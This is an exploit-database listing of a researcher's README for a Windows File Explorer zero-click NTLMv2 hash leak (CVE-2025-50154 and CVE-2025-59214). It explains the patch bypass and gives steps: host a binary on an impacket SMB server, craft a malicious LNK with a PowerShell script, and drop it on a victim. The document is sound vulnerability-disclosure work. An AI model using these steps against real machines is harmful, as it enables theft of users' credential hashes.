Sploitus

Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Microsoft

githubexploit · 2025-08-13

Exploit Code

README53 lines
## https://sploitus.com/exploit?id=D6A6794E-A449-5C00-9BE7-196D5804D88D
# CVE-2025-50154, CVE-2025-59214

# Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure
By [Ruben Enkaoua](https://x.com/rubenlabs) and [Cymulate](https://cymulate.com/)


[First Blog: Zero Click, One NTLM: Microsoft Security Patch Bypass (CVE-2025-50154)](https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/)
[Second Blog: Patched Twice, Still Bypassed: New NTLM Leak (CVE-2025-50154 Patch Bypass)](https://cymulate.com/blog/ntlm-leak-cve-2025-59214/)



#### Description

While Microsoft released a security update addressing an icon-based NTLM hash disclosure vulnerability, I discovered a bypass that still allows an attacker to retrieve NTLMv2-SSP hashes without user interaction.

The original vulnerability, recently patched, was a 0-click NTLM hash disclosure triggered when explorer.exe rendered the icon of a .LNK shortcut file whose icon was hosted on a remote SMB server.
After the patch, explorer.exe no longer loads icons from remote SMB paths, preventing the automatic disclosure of NTLM hashes.

Update: The patch for CVE-2025-50154 didn't work at all. We reported it, and a new CVE was assigned to the vulnerability: CVE-2025-59214. The POC is relevant for both CVE's.

By crafting a .LNK file with:
+ Default icon from shell32.dll
+ Target path pointing to a remote SMB-hosted binary file

The explorer.exe process will still fetch the remote file to extract the PE icon from its RT_GROUP_ICON and RT_ICON resources.

![DA-NTLMv2-SSP-leak](https://github.com/user-attachments/assets/37674962-bc16-462f-b4fe-e80a3fc0aa8b)


#### Steps

Start a responder server in your server

```bash
# put the binary (for example Taskmgr.exe) in the directory and run the SMB server.
impacket-smbserver share . -smb2support
```

Craft a malicious LNK with powershell, in a different machine, and then drop it to the victim (malicious download, SMB upload...)

```powershell
# Replace the values with the path, the responder server IP and the file name on the server. Note: It can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "" -share "" -file ""
```

The explorer.exe process will render the icon by downloading the file automatically, looking for RT_ICON and RT_GROUP_ICON headers in .rsrc section


#### Notes

This code is for educational and research purposes only.
The author takes no responsibility for any misuse of this code.